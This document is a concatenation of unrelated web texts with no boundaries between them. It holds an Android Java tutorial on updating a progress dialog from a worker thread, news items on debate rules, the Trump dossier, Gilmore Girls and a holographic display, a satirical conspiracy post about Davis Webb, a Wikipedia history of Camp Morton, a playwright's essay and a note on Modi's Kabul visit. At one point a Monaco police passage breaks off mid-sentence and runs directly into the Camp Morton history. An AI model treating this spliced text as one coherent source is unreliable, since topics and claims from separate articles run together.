Showing progress updates Yes, that’s the entire application — not very many attractions, but there is quite a bit to discuss to make this happen. Lets look the code to implement this multi-yhreaded application that can safely update the user interface The code The entire application consists of a single Java source file, namely Threading.java. package com.msi.linuxmag; import android.app.Activity; import android.os.Bundle; import android.os.Message; import android.os.Handler; import android.app.ProgressDialog; import android.widget.Button; import android.view.View; public class Threading extends Activity { Handler myHandler; ProgressDialog myProgress; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); final Button btnTest = (Button) findViewById(R.id.TestThreads); btnTest.setOnClickListener(new Button.OnClickListener() { public void onClick(View v) { myProgress = ProgressDialog.show(Threading.this, "Linux Magazine Demo", "Counting down...", true,false); myHandler = new Handler() { @Override public void handleMessage(Message msg) { // process incoming messages here switch (msg.what) { case 0: // update progress bar myProgress.setMessage("" + (String) msg.obj); break; case 1: myProgress.cancel(); finish(); break; case 2: myProgress.cancel(); break; } super.handleMessage(msg); } }; Thread workthread = new Thread(new SidelineThread()); workthread.start(); } } ); } public class SidelineThread implements Runnable { SidelineThread() { // constructor. do nothing } public void run() { Message msg; long i = 0; while (i < 10000000) { if (i % 100000 == 0) { msg = new Message(); msg.what = 0; msg.obj = "Processed " + i + " so far."; myHandler.sendMessage(msg); } i++; } msg = new Message(); msg.what = 1; myHandler.sendMessage(msg); } } } Here are the high level items to note in the application: There are two class-level variables, one for the Handler and another for the ProgressDialog. Both of these are initialized in the OnClick() method of the Button’s listener.
The onCreate method of the Activity simply inflates the user inteface layout and then wires up the lone Button widget with an OnClickListener.
The OnClick() method takes care of initiating our test. Notice that this method creates a ProgressDialog, a Handler and then starts a Thread.
The Handler works by creating in essence a “callback” mechanism for the application to employ. Code running in the newly created Thread can “callback” to the primary application. Unlike traditional callback functions, this technique actually passes data in the form of an android.os.Message object, rather than “calling a function”.
The Handler’s code is setup to expect three different values for the what member: 0,1, and 2. These are entirely arbitrary values.
A value of 0 instructs the Handler to display a message on the ProgressDialog. The message is actually contained as a String and stored as the obj field. A value of 1 tells the Handler that the Thread is complete and the Activity can terminate with a call to finish(). In the case where the Handler receives a 2, it is used to indicate an error condition and we don’t want the Activity to disappear, lest we lose the data.
The SidelineThread class demonstrates a simple long-running class. Whenever this class wants to “communicate” with the user, it must do so through by way of the primary UI thread. Fortunately all that is required to accomplish this feat is to pass a Message Object to its Handler. These Message instances are objects that are garbage collected so it is advisable to create a new Message for each and every communication sent to the Handler. That is about there is to it — for now. In the future we’ll have a look at the AsyncTask class, which presents a slightly different approach to the same challenge.There will be no bathroom breaks for Hillary Clinton or Donald Trump during the presidential debates, an official with the Commission on Presidential Debates has confirmed.
“There are no commercial breaks,” the source told the Drudge Report Friday. “Period.”
Lester Holt — who is moderating the first debate Monday at Hofstra University in New York — will not be allowed to cut away from the stage or manipulate the microphone audio during the 90-minute debate between the two candidates. (RELATED: Will Moderators Be Allowed To Wear Earpieces During The Debates?)
As the Drudge Report noted, Clinton’s campaign requested that she be allowed to use a step stool during the debate “to add height to her 5’4″ frame.”
“The request was quickly rejected. The commission is allowing for a custom-made podium, which will accommodate the difference in stature.” (RELATED: Massive Ratings Expected For Trump-Clinton Debate)
Experts have predicted that over 100 million people will watch Trump and Clinton go head to head. For comparison, that’s almost as many people who watched the Super Bowl last year — 111 million.The struggles of Davis Webb this past season were well known to many Red Raider fans. He was chastised by everyone for everything from his reads to his running ability. Everyone was very quick to throw him under the bus for every little mistake he made this past year. Seeing as how there's no possible way to possibly know for sure what happened to his game this season, here's a list of the most likely things that happened to our QB1 this past year.
THEORY 1: Davis Webb is secretly a member of the Illuminati sent to spread their influence to Kliff
Now you might all be thinking, "Hunter, this is ridiculous, there's no possible way Davis Webb is a member of the Illuminati". Well let's look at the facts.
Davis Webb was 6th in passer rankings last year. We started 2 quarterbacks last year. 6/2=3. Like the number of sides on a triangle.
Davis Webb is from Prosper, Texas. Prosper has 7 letters in it's name. Davis Webb wears number 7. 7/7=1. This next year will be Davis Webb's third year to letter. 1x3=3.
Let's take a look at the actual number 7 as well
DO YOU SEE NOW?! THE NUMBER 7 IS THE CLOSEST NUMBER TO THE ILLUMINATI TRIANGLE!!!1!!11!
Davis Webb passed 71 times against OK State in 2013, completing 45 of them. 71 isn't divisible by 3, but 45 definitely is.
If all of this wasn't enough evidence to convince you that Davis Webb is simply an Illuminati sock puppet, let me share the best piece of evidence we have: his throwing motion.
Wake up, America.
THEORY 2: Davis Webb is being haunted by the ghost of Jace Amaro
Jace Amaro and Webb were very good friends in 2013 while establishing a rapport on the field. With Amaro now in football purgatory (AKA the New York Jets), It is arguable that he is not even alive. I believe his ghost has been visiting Davis Webb periodically.
This seems very incredibly far fetched, but take into account one of Webb's struggles: overthrowing his receivers. It seems as if he was throwing the ball to someone... taller. Maybe even someone bigger. Maybe he was being haunted by the ghost of Jace Amaro. Jace Amaro messed with Webb's mind, making it seem like the 6'5 Tight End/Wide Receiver/Horse was the one running the routes instead of Bradley Marquez. Our professional* photographers have captured this via photograph.
This is verifiable proof that Davis Webb is suffering from the ghost of Jace Amaro getting into his head too much. Jace knows he should have stayed another year, and in his sorrow has turned on those who love him.
THEORY 3: Davis Webb is a false-flag operation placed here by Tommy Tuberville in order to enact his revenge on Texas Tech
It's not exactly a secret that most Texas Tech fans were not huge supporters of the Tubs. In turn, Tubs was not a man who gave back much to the community. In fact, he resented us so much that he sent Davis Webb as a false flag quarterback in order to destroy our whole program. Tuberville invaded the home of Davis Webb after he was recruiting, saying that he needed him for a "secret mission". That mission, of course, was to make him into a program destroying machine through a series of brainwashing techniques.
Tuberville despises everything Texas Tech, so it makes sense that he would send his minion here to throw games. I mean, look how many quarterbacks Webb has run off, and look at his eerily close relationship with Kliff Kingsbury. This is no coincidence. Davis Webb has been programmed to destroy Texas Tech from within by Tommy Tuberville as a last jab at the Tech Administration.
THEORY 4: Davis Webb is the frontman for a speed metal band, and doesn't have enough time to practice because he is too busy melting faces
Let's be real here people, this theory is the only plausible one. Webb has never explicitly come out and said "I have never been in a speed metal band". Therefore, he is most definitely in one. Webb has had accuracy issues at some times. These accuracy issues obviously stem from him having too many callouses on his hands from playing lead guitar in a speed metal band.
And let's be real, if you have hair like that, you're in a metal band. We can only hope that Webb only plays the guitar, because if he does vocals too his voice will become too raspy to call audibles.
THEORY 5: Davis Webb is secretly using his time at Texas Tech to audition for the role of the new starting quarterback when the Friday Night Lights TV show is rebooted
Friday Night Lights is famous for it's embattled stars who have miraculous comebacks. This season was very obviously the "conflict" portion of the script that Webb wants to portray, and next season will be the season where he proves to the whole town that he had what it takes to be the starting quarterback all along. I'm willing to bet that this conspiracy runs as deep as Webb purposefully injuring himself so as to set another potential dramatic plot twist up down the road. Will he get the illegal steroid shot before the game that literally recreates his arm into a human version of a Howitzer, or will he gut it out and play it straight with no drugs? Tune into next week's episode of Friday Night Lights to find out!
I mean heck the dude even wears the same number as Matt Saracen it's so obvious how did you not see it.Image copyright AP
Donald Trump says the US spy chief called him to "denounce the false and fictitious" report that Russia held compromising information about the president-elect.
Mr Trump again tweeted that the report was "made up, phony facts".
Director of National Intelligence James Clapper merely said he had told Mr Trump that no judgment had yet been made on its reliability.
Mr Clapper rejected Mr Trump's claim that US intelligence leaked the report.
Mr Clapper's statement on the conversation came out on Wednesday evening and he has not yet commented on Mr Trump's version.
In his statement, the spymaster said he had "expressed profound dismay at the leaks that have been appearing in the press and we both agreed that they are extremely corrosive and damaging to our national security".
Mr Clapper said he had also assured the president-elect the intelligence community "stands ready to serve his administration".
Defending the decision to brief Mr Trump and President Barack Obama on the dossier, Mr Clapper said: "Part of our obligation is to ensure that policymakers are provided with the fullest possible picture of any matters that might affect national security."
He said: "We did not rely upon it in any way for our conclusions."
'Pulp fiction'
In his first news conference as president-elect on Wednesday, Mr Trump said it would be a "tremendous blot" on the reputation of US intelligence agencies if they had been responsible for the leak from the briefing.
"That's something that Nazi Germany would have done," he said.
On Thursday, German Foreign Minister Frank-Walter Steinmeier said he was "perplexed" by the comparison. "I can't interpret that," he said.
At Trump Tower in New York, a combative Mr Trump had told journalists the dossier's claims were "fake news" and "crap".
Media playback is unsupported on your device Media caption Donald Trump said the information was 'fake'
The 35-page dossier of allegations - which was circulating in political and media circles before November's presidential election - was published in full on Buzzfeed on Tuesday evening.
The dossier claims Russia has damaging information about the president-elect's business interests, and footage of him using prostitutes at the Ritz-Carlton hotel in Moscow.
Russia has strongly denied the allegations as "pulp fiction".
The dossier - which is believed to have been commissioned initially by Republicans opposed to Mr Trump - was prepared by a former MI6 officer who now runs a London-based private consultancy.
Image copyright Reuters Image caption Orbis, the private consultancy where Christopher Steele works, in central London
Christopher Steele, who was formerly based in Moscow with the British foreign spy agency, is believed to have left his home this week and is now in hiding, the BBC understands.
The initial purpose of Wednesday's news conference was for Mr Trump to answer questions about how he would distance himself from his family-owned property and licensing business.
Halfway through the event, a lawyer stepped up to the podium and announced the president-elect was handing over control of the Trump Organization to his adult sons and an executive.
New international business deals would be banned, but the company would be allowed to start new projects in the US, said the attorney.
The decision appears to contradict Mr Trump's recent tweet that "no new deals" would be done while he was in office.
10 things we learnt from Trump press event
Trump press conference: Full transcript
The director of the US Office of Government Ethics said Donald Trump's plan to avoid conflicts of interest does not match the standards of US presidents over the past 40 years.
Walter Shaub said the arrangement meant that Mr Trump would still see information about the businesses and deals being made in the newspapers and on television.
Although presidents are not subject to the same conflict of interest rules as other government employees, previous commanders-in-chief have placed their investments into a blind trust to prevent any question of corruption.Left: everyday uniform. Right: dress uniform.
Law enforcement in Monaco is provided by an armed national police force consisting of 515 men and women.[1] With 515 police officers for 35,000 people in 1.98 km², Monaco has the largest police force and police presence in the world on both a per-capita and per-area basis. Its police includes a specialist unit which operates patrol and surveillance boats. There is also a militarised bodyguard unit for the Prince and his palace called the Compagnie des Carabiniers du Prince which numbers exactly 116 officers and men, and is equipped with modern weapons including M16 rifles and 9mm pistols,[2][3] and |
he in Fall Creek.[10] The hastily built facility had difficulties accommodating so many men with equipment, tents, and food, but order was established within a few weeks. Many residents of Indianapolis saw the camp as a center of attraction.[11][12]
Military prison camp [ edit ]
Indianapolis's Camp Morton was among the largest of the Union's eight prison camps established for Confederate noncommissioned officers and privates. Other large prison camps included Camp Douglas (Chicago, Illinois), Camp Chase (Columbus, Ohio), and Camp Butler (Springfield, Illinois). General officers for the Confederacy were sent to an island in Boston Harbor, where Fort Warren was located, and lesser commissioned officers from the Confederacy were sent to Johnson's Island in Ohio's Sandusky Bay.[13]
When Camp Morton was established in 1862, it was initially under state control until the U.S. government assumed responsibility for its prisoners. The camp reopened in 1863 with the intention of housing only infirm prisoners, but others were detained at the facility as well.[14] From July 1863 until the parole of the last Confederate prisoner on June 12, 1865, the camp's average prison population was 3,214 and it averaged fifty deaths per month. The maximum prisoner population at Camp Morton during that time reach 4,999, in July 1864, and the maximum of deaths reached 133.[15][16]
1862 [ edit ]
On February 17, 1862, two days after the fall of Fort Donelson, near present-day Clarksville, Tennessee, Morton informed Union general Henry W. Halleck that Indianapolis could, if necessary, hold three thousand Confederate prisoners.[13] Captain James A. Ekin, assistant quartermaster general of the Union Army, was charged with converting Camp Morton to a prison camp. Stalls were converted into sleeping quarters for the prisoners and additional barracks and latrines were built. A walled palisade was constructed of wood around the perimeter of the camp; it also included reinforced gates and a walkway for sentry patrols.[10][17] Initially, there was no hospital within the camp; other Indianapolis facilities were used to treat the prisoners.[18]
On February 22, the first Confederate prisoners arrived by train at Indianapolis. Additional prisoners arrived at the camp over the next three days, bringing the number of prisoners to thirty-seven hundred men. Local residents helped provide the necessary food, clothing, and nursing to the incoming prisoners.[19][20] The death rate among the unfortunate Confederate prisoners was high. In March 1862, 144 prisoners died at the camp.[15] By April 1 the camp's inhabitants, including prisoners and guards, numbered five thousand. More prisoners arrived in subsequent months, including a group of a thousand prisoners from the battle at Shiloh.[20]
Confederate officers who had commissions were separated from their men and quartered in a barracks on Washington Street and elsewhere in the city until they could be moved to the prison camps in Ohio and Massachusetts. Noncommissioned officers and privates were taken to Camp Morton. Poorly clothed, ill fed, unused to the northern climates, and weakened from recent battles, many of the prisoners fell ill and were taken to makeshift facilities outside the camp for treatment.[21]
Colonel Richard Owen took over as commandant of the prisoner-of-war camp and served in that role until June 20, 1862, when his regiment was called to active duty and he departed Indianapolis with his men. Camp Morton's first prison guards came from the Fourteenth Light Artillery, Fifty-third Regiment of Indiana Volunteers, and the Sixtieth Regiment of Indiana Volunteers. Quarters for the camp's prison guards were established at Camp Burnside, a Union camp located between Nineteenth and Tinker (present-day Sixteenth) Streets, south of Camp Morton. The guards were understaffed and overworked. On May 4, 1862, Owen reported less than one regiment plus 202 men from another were guarding more than four thousand prisoners at Camp Morton. In comparison, two regiments guarded about a thousand prisoners at Camp Chase in Columbus, Ohio.[22]
Few guidelines were provided for operating Union prison camps, so Owen devised his own, which served as a model for other camps.[23] Owen's policies were sympathetic to the prisoners' needs. Under his command, camp discipline was strict, but humane, and allowed for self-government among the prisoners, which local leaders criticized on occasion.[24] Early challenges at the camp included equitable distribution of rations and supplies. A camp bakehouse was erected and in operation by mid-April 1862. It provided prisoners a place to work and the means to earn money to purchase small amenities. A fund established from the cash value of the camp's excess rations provided prisoners with additional supplies.[25] While trade with unauthorized vendors did occur, most of the items sold to prisoners came from the camp's sutler.[26]
Recreational activities included music and sports. Prisoners formed musical clubs and theatrical groups and attended band concerts at the camp. Books and periodicals were available in the camp, and a photographer was allowed to make daguerrotypes of the prisoners' likenesses to send to their friends and families in the South. Other pastimes included ballgames and whittling.[26] No visitors or communication between the prisoners and the camp guards or local citizens were allowed, but mail correspondence and small packages were delivered to prisoners after they had been inspected. Contraband was removed before delivery, and outgoing letters were censored and inspected before they were mailed. Attempts to escape were rare while Owen was commandant. Only thirteen of its forty-two hundred prisoners escaped during his command of the camp.[27]
Although later expanded, the hospital on Camp Morton's grounds was not large enough to serve all the camp's prisoners. Indianapolis's City Hospital served Union troops; only a few Confederate prisoners were taken there until its facilities were expanded in May 1862. In the meantime, additional facilities for Confederate prisoners were established in two buildings on Meridian Street, known as Military Hospital Number 2 and Military Hospital Number 3, set up in an old post office on Meridian Street, near Washington Street. A few prisoners were cared for in private homes. No epidemics swept the camp or area hospitals, but there were reports of dysentery, typhoid fever, and typhoid pneumonia, among other diseases.[28]
David Garland Rose succeeded Owen as Camp Morton's commandant on June 19, 1862, and tightened the camp's rules. New volunteers from Indiana's military companies served as replacements for the camp's prison guards.[29] On August 22, 1862, prisoner exchanges were arranged and final orders were given for the removal of the Confederate prisoners at Camp Morton. The prisoners were sent to Vicksburg, Mississippi, where they were exchanged for Union prisoners held in Confederate prison camps. Camp Morton's remaining Confederate prisoners whose names did not appear on the prisoner exchange rolls left the camp by September 1862. Following their departure, Camp Morton was used as a military training ground for Union troops and Indiana volunteers who were sent home on parole. The paroled Union soldiers were not permitted to perform duties that would free other troops for active service. Instead, they guarded and maintained the camp until they were allowed to continue active military service.[30]
By 1863 Camp Morton's buildings were in need of repair, but little was spent on improvements. Colonel James Biddle, Seventy-first Indiana Volunteers, became commandant of the camp. Most of his regiment had been captured at Muldraugh Hill, Kentucky, where they were paroled on the field, and had been living at Camp Morton awaiting a prisoner exchange. Soldiers from Biddle's regiment were assigned to guard duty at the camp, with the assistance of other military companies. New prisoners from arrived at Camp Morton between January 29 and the end of March 1863. In April 1863, the camp's prisoners were ordered to City Point, Virginia, and in June a new group arrived, this one from Gallatin, Tennessee.[31]
In July Confederate general John Hunt Morgan, who led Morgan's Raid into southern Indiana and Ohio, caused alarm among the city residents as local military prepared for his arrival, but Morgan turned east, towards Ohio, and never reached Indianapolis. On July 23, 1863, eleven hundred of Morgan's men who had been captured during the raid were brought to Camp Morton. A hundred more arrived a week later. Additional Confederate prisoners came in August 1863, raising the total at the camp to nearly three thousand. In mid-August more than eleven hundred prisoners, including most of Morgan's men, were transferred to Chicago's Camp Douglas.[32]
Escape attempts were more frequent after Owen's tenure at commandant. Some escape plans were especially elaborate, including tunnels and prisoner uprisings.[33] A few of these attempts were made with wooden board planks or crude ladders.[34] Approximately thirty-five men escaped between April and the end of October 1863, but others were unsuccessful.[35] An extra ration was promised to those who informed their Union captors about escape plans.[36]
In July 1863 In July 1863 Captain Albert J. Guthridge was placed in charge of the camp when Biddle and his regiment were reassigned to other duties. David W. Hamilton took over as commandant on July 23,[37] but he was transferred to another post by September 23. Guthridge resumed the duties of commandant until Colonel Ambrose A. Stevens arrived on October 22, 1863. Stevens remained as commandant until the end of the war.[38]
When Stevens took command, the camp's condition had badly deteriorated. Augustus M. Clark, a medical inspector who filed a report on October 22, indicated the camp had 2,362 prisoners with a mortality rate exceeding 12.45 percent. Clark reported that the prisoners had sufficient food, clothing, and water, but noted the camp's structures were dilapidated and poorly maintained. He also suggested the camp suffered from bad drainage, lax discipline, and poor policing of its grounds.[35] Stevens helped improve the camp by providing blankets, better food, and medical care,[33] but the winter of 1863–1864 was bitterly cold, with temperatures falling below zero degrees Fahrenheit. Ninety-one prisoners died in November 1863, and 104 more in December. Conditions at the camp hospital improved over the winter, when the facility was expanded to care for ailing prisoners. Two new, but incomplete, hospital wards were opened in December 1863, increasing the hospital's capacity to 160 patients. More could be accommodated in an emergency.[39] Prisoner deaths numbered 263 that winter.[14]
Confederate prisoners from the area around Chattanooga, Tennessee, arrived at the overcrowded camp at the end of 1863. Blankets and clothing were issued to those in urgent need. Camp rations, while deemed sufficient, lacked fresh vegetables. Prisoners cooked for themselves and were allowed to make small purchases of food from the camp to supplement their diet.[40]
Toward the end of 1863, a new military prison was constructed on the grounds with a capacity of sixty prisoners. In January 1864 thirty men were imprisoned there. Despite the threat of confinement in the new prison, camp's inmates continued to attempt escapes. Punishments included a reduction of rations.[41]
In July 1864 the Confederate prisoner count at Camp Morton reached 4,999. Overcrowded barracks and the July heat caused more illnesses, including cases of malaria.[16] Drinking water obtained from Fall Creek contained limestone, which caused diarrhea among the men.[14] New wards were added to the camp's hospital, but only modest repairs were made to the camp's dilapidated barracks.[42]
During the final months of the war, in February and March 1865, two thousand of Camp Morton's prisoners left as part of a prisoner exchange. Another six hundred prisoners were soon released. Only 1,408 prisoners remained at the camp in April. Following Confederate general Robert E. Lee's surrender on April 9, many of Camp Morton's prisoners were discharged. Only 308 prisoners were left at the camp on June 1, 1865. The camp's last Confederate prisoners were released on June 12, 1865. In addition to the Confederate prisoners, seven Union deserters who remained in custody at Camp Morton were freed. Forty members of the Veteran Reserve Corps, who were serving time in the prison's guardhouse, were given dishonorable discharges and released without pay.[15][43]
Confederate burials [ edit ]
It is not known for certain, but it is estimated that approximately 1,700 prisoners died at Camp Morton between 1862 and 1865.[33] Confederate prisoners were buried in wooden coffins in trenches on five lots purchased near the City Cemetery, which was later expanded and became known as Greenlawn Cemetery. The individual gravesites were marked with wooden boards bearing painted identification numbers that were worn away by the passage of time.[44] Some of the Confederates buried in Indianapolis's City Cemetery were exhumed and returned to their families; however, the remains of 1,616 Confederate prisoners were left at Greenlawn. In 1866 a fire ravaged the cemetery office, destroying the records that gave the precise location of the burials.[45][46]
In the 1870s construction of an engine house and additional tracks for the Vandalia Railroad caused the Confederate prisoners' remains to be removed and reburied in a mass grave at Greenlawn.[47] In 1906 the U.S. government sent Colonel William Elliot to Indianapolis to locate the mass grave, and in 1912 the Confederate Soldiers and Sailors Monument was erected at the site to honor the 1,616 Confederate prisoners of war who were buried at Greenlawn.[45][46][48] The monument was moved to Indianapolis's Garfield Park in 1928.[47] The remains from the Confederate gravesite were moved to Indianapolis's Crown Hill Cemetery in 1931 and buried in a mass grave in Section 32. The area became known as the Confederate Mound.[47] In 1993 the names of each fallen Confederate at Camp Morton were inscribed on ten bronze plaques.[45][46]
Other site uses [ edit ]
Property remaining at Camp Morton after the last prisoners left was sold at public auction in July 1865 and the buildings were vacant by August 2.[49] The city allocated three thousand dollars to rehabilitate the property, and the State Board of Agriculture eventually received $9,816.56 in property damages from the federal government.[50]
The Indiana State Fair returned to the site in 1868 and remained there until 1891, when the State Board of Agriculture sold the grounds in November to three businessmen from Indianapolis for $275,100.[citation needed] In 1891 the State Board of Agriculture acquired property for the new state fairgrounds at its present location on property bounded by Thirty-eighth Street, Fall Creek Parkway, Forty-Second Street, and Winthrop Avenue.[51]
New streets and drainage ditches were constructed on the former Camp Morton site, which was platted and developed as a residential area known as Morton Place.[50] After 1890 the Herron-Morton Place neighborhood became known for its connections with then-president Benjamin Harrison.[52]
Memorials [ edit ]
A bronze bust of Colonel Richard Owen, designed by Belle Kinney Scholz, the daughter of a Confederate soldier, is installed on the main floor of the Indiana Statehouse as a tribute to Owen's service as commandant at Camp Morton in 1862. Southerners contributed $3,000 for the memorial to Owen, who went on to become the first president of Purdue University in 1873.[53] The memorial, which was dedicated on June 9, 1913, honors his fair treatment of the Confederate prisoners. Its inscription reads:"Tribute by Confederate prisoners of war and their friends for his courtesy and kindness."[53]Coordinates:
In 1916 students and teachers of Indianapolis Public School 45 erected a stone monument to mark the location of the camp at Alabama and Nineteenth Streets.[50]
A monument at Indianapolis's Greenlawn Cemetery was erected to honor the Confederate soldiers who were buried there. The monument was moved to Garfield Park in 1928.[45][46][54]
A monument and ten bronze plaques were erected at Confederate Mound, in Section 32 of Indianapolis's Crown Hill Cemetery, to honor the Confederate prisoners of war who were originally buried at Greenlawn. Remains of the prisoners were moved to Crown Hill in 1931 and 1,616 names are inscribed on the plaques.[47][54]
In 1962 the Indiana Civil War Centennial Commission erected a state historical marker in the 1900 block of North Alabama Street, near the site of Camp Morton.[55]
See also [ edit ]
Notes [ edit ]
References [ edit ]It’s time for Lorelai and Rory to meet the press.
The principal Gilmore Girls players — including stars Lauren Graham, Alexis Bledel and series creator Amy Sherman-Palladino — are set to make their first press appearance later this summer in support of the show’s upcoming four-part revival, TVLine has confirmed. The trio, as well as co-star Scott Patterson and executive producer Daniel Palladino, will take the stage at Netflix’s portion of the Television Critics Assoc. press tour on Wednesday, July 27.
It’s unclear if Netflix plans to use the occasion to announce an official premiere date or debut the first footage from the revival, which, as previously reported, is titled Gilmore Girls: A Year in the Life. Netflix has only confirmed that the revival will bow “later this year,” with rumors pointing to a pre-Thanksgiving Day berth.
One issue that will almost certainly be raised during the press conference: Will the four installments be released separately or all at once? Sherman-Palladino previously told TVLine, “My preference would be they would not be released at once, because I feel like there’s going to be anticipation, and I think the diehard fans would enjoy it more with a little separation.”
What burning Gilmore Qs would you like TVLine to ask at the presser? Hit the comments!A new holographic display can transmit three-dimensional movies from one location to another almost in real time. If Princess Leia had to send her “Help me Obi-Wan Kenobi, you’re my only hope” message from Earth today, it would now be technologically possible.
“We can take objects from one location and show them in another location in 3-D in near real time,” said optical scientist Nasser Peyghambarian, and project leader from the University of Arizona in a press conference Nov. 1. “It is no longer something that is science fiction, it is actually something that you can do today.”
Holographic movies have been a dream since at least 1966, when the first hologram was transmitted over a television system by Bell Labs. Updatable holographic displays have been around for decades as well; the first was developed by Stephen Benton at the MIT Media Lab in 1989.
The new device projects a color 3-D image onto a sheet of special plastic using a fast-flashing laser. The image can be updated once every two seconds, fast enough to give a sense of movement.
“In the past, other holograms you have seen are static images,” said Pierre-Alexandre Blanche of the University of Arizona, lead author of a study in the Nov. 4 Nature describing the device. “Now, with a 2-second lag, it starts to become something more tangible.”
The image can also be transmitted over the internet in less than a second, which would allow a near real-time window into distant events, something the authors call “holographic telepresence.”
Peyghambarian and colleagues set an array of 16 webcams in a semicircle around the objects they wished to project, which included a model airplane, a vase of flowers and the researchers’ heads. Each camera captured the object from a different perspective, making the ultimate image more lifelike.
“If you go to a 3-D movie like Avatar, you would see only two perspectives, one for one eye and one for the other eye,” Peyghambarian said. “In our case, we have demonstrated 16 perspectives, but the technology has the potential to show hundreds of perspectives. So it’s very close to what humans can see.”
The cameras sent the images to another room, where they were encoded into pulsed laser that flashes 50 times per second. Each laser pulse encodes one holographic pixel, or “hogel.”
Then the researchers trained the laser onto a newly developed plastic called a photoreactive polymer, which is coated with a material that converts light into electrical charges that create and store the image. The charges move around the plastic in such a way that when light bounces off the material, it reaches your eyes as if it had bounced off the toy plane or the researcher’s head.
“With this material, since you can move the charge around, you can erase the hologram and write another hologram on it,” Blanche said.
Two years ago, Peyghambarian’s team made a similar material that could only refresh the image every four minutes. The images in that material were also disturbed by vibrations and temperature changes, so the screen had to be kept in a highly controlled box.
The new material rewrites every two seconds, a 100-fold improvement, and isn’t bothered by changes to its environment, the researchers say.
Beyond entertainment and fighting the Empire, the display could have important medical and military applications, Peyghambarian says.
“Different doctors from different parts of the world can participate [in surgery] and see things just as if they were there,” he said. The device could even be used for telecommuting. “People from Europe don’t have to come to the U.S. to participate in a conference, it would be as if they were there.”
“This is mostly a materials advance,” said optical scientist Michael Bove of the MIT Media Lab, who was not involved in the new research but is collaborating with Peyghambarian on another project. “The material is faster and more sensitive than what had previously been reported.”
Given the small size of the screen and the two-second lag time, “some people in the field object to the term ‘telepresence,'” Bove said.
Blanche agrees that the hologram’s lag time is too long. “Quite frankly, it’s a bit annoying, and we know that,” he said.
For truly real-time video, the image would need to refresh 30 times a second. That would take either a much more sensitive material or a “very big, very nasty” laser, Blanche said. The team hopes to push the material to produce video quality holographs in the next two years, and the technology could be ready for your living room within the decade.
“In two years we improved the speed by a factor of 100. If we can improve the speed by the same factor, we will be over video rate,” Blanche said. “It will be done.”
Video: Blanche et al. Nature.
See Also:
Follow us on Twitter @astrolisa and @wiredscience, and on Facebook.by Michael Elyanow
We hear it a lot about playwriting—that there’s no money in it. Whether or not that’s actually true, I had the opportunity to talk about this issue recently when I met with a young playwright, a senior at Northwestern University’s Creative Writing for the Media Program, who wanted to pick my brain about how I’ve managed to make it as a career playwright.
But first: let’s try and define make it. I, like a lot of playwrights, struggle. I struggle to write, and to write well. I struggle to get productions, workshops, grants, commissions, and more. Like hundreds of other playwrights, I spend days putting together applications to get into conferences, festivals, and residencies. And, like hundreds of other playwrights, I receive many more rejection letters than congratulatory calls.
Second: let’s define career. If you mean a reliable paycheck—nope (see above). If you mean health benefits or financial security—not a chance. If you mean a profession that steadily moves forward, increasing in stature and scope and visibility… possibly… depends… could happen one day. As writers, so much is out of our control.
In 2010, New York magazine ran a brief piece on Bruce Norris (and his then-new play Clybourne Park) that’s always haunted me. To this day, I remember it vividly thanks to the number $19,000. This was how much Mr. Norris said he earned the year before. Earned. All year. This, from an acclaimed and brilliant writer, who’s had plays produced across the world. To me, this announcement was not only a brave thing to declare publicly, it was a revelation. After Todd London and Ben Pesner’s incredibly insightful Outrageous Fortune, David Dower’s years of field study… there it was again, in bold print. In New York magazine. A monetary truth exposed.
It is indeed the rare playwright who gets to announce playwriting as a job, a real-life, full-time gig.
And I know this, I do. I knew it going into this field. And still, when this Northwestern student sincerely asked me “Is it worth it?” I found myself nostalgic for the days when I used to immediately answer that question with an unqualified, urgent, booming Yes. But these days, with a kid and a husband and responsibilities and more, my answer has grown in complexity. And, especially with young playwrights, I want to share open and honestly about where I am today with this notion of worth—of value.
Half of the time, and especially in a country where The Arts (and arts programs) are in a constant struggle for survival, my belief that the value of art trumps the value of cash remains unshaken. But then, the other half of the time, when the mail comes in and my school loans are due or my son needs a filling that isn’t covered by insurance…well, that’s where things get complicated. At what cost are we choosing to live the lives of playwrights? Or artists?
“Is playwriting worth it?” My answer to this student was: financially? For where I am today, right now? No. But… in almost every other aspect: yes. Playwriting is worth it. But why? With the amount of energy I spend on writing, the time away from my family, the funds I shell out to attend readings and workshops in other states with no guarantee of production, no guarantee that if I do get a production another one’s coming along, what is the value of playwriting? Or better yet, what can’t I put a price on?
For me, it turns out the answer is collaboration. Or more specifically: a collaboration that works. The experience that I had working with director Jessica Kubzansky and dramaturg Emilie Beck on The Children couldn’t be measured in dollar signs. I was fortunate enough to work with two artists who attacked the play with great care and sensitivity, who asked incisive questions, who challenged my every line but never lost sight of the origins of the play’s beating heart. When collaboration works, you leap together. You dig together. You forgive together. When collaboration works, you learn to become a better artist, communicator, listener, leader, and follower.
How many other professions make this kind of deeply personal exchange possible? Where the work includes sharing who you are and why you are? And how do you place a value on that? Can you put a price on that conversation? That dialogue? That sharing of your core identity in pursuit of a common purpose and goal?
Collaborators build something together. We hear the phrase “the theater community” used often. And that’s what this collaboration built for me. A community. A home—for myself, for my play, for ideas and emotions and a mission. These are all things I greatly value—it’s what I hold dear.
Here’s what I want to say about the money part: wherever we go, we pay for the privilege of community. Governments have taxes. Clubs have fees. Religious organizations have tithes. It’s not exactly analogous, but maybe playwriting is like Social Security. It’s something you will always pay into because it provides you a social safety net. You contribute—with money and time and sacrifice—to a community of artists who shore you up, challenge your evolution, and provide you a place in the world. In this instance, the word value can literally mean a bargain.
Michael Elyanow is a playwright. The Children was produced in 2012 at The Theatre @ Boston Court. A Lasting Mark, commissioned by Hartford Stage, was part of Manhattan Theatre Club’s 2011 7@7 Reading Series. The Idiot Box, published by Samuel French, was produced at Open Fist and Naked Eye theatres. Ten-minute plays Banging Ann Coulter and Game/Over were Humana Festival finalists. Michael is currently writing a play commission for the Carleton College Department of Theatre & Dance.
This essay first appeared on HowlRound.Indian Prime Minister Narendra Modi was in Kabul on December 25 to inaugurate the new Afghan parliament building constructed with funds from New Delhi, after the original building was bombed by the Taliban.
The buzz surrounding Modi's visit epitomised the warm relations between the two countries, while the story of the Afghan parliament symbolises the fragile country's ongoing struggle with an insurgency many Afghans blame on neighbour and Indian rival, Pakistan.
Past & Future. On 1 side the Dar ul Aman palace bombed out by Taliban. On the other the shining new Parliament bldng pic.twitter.com/q0dlcZMJ0N — Vikas Swarup (@MEAIndia) December 25, 2015
The day after Modi visited Kabul he was in Lahore to become the first Indian premier to visit Pakistan in over a decade, fuelling hope of better relations between the two countries.
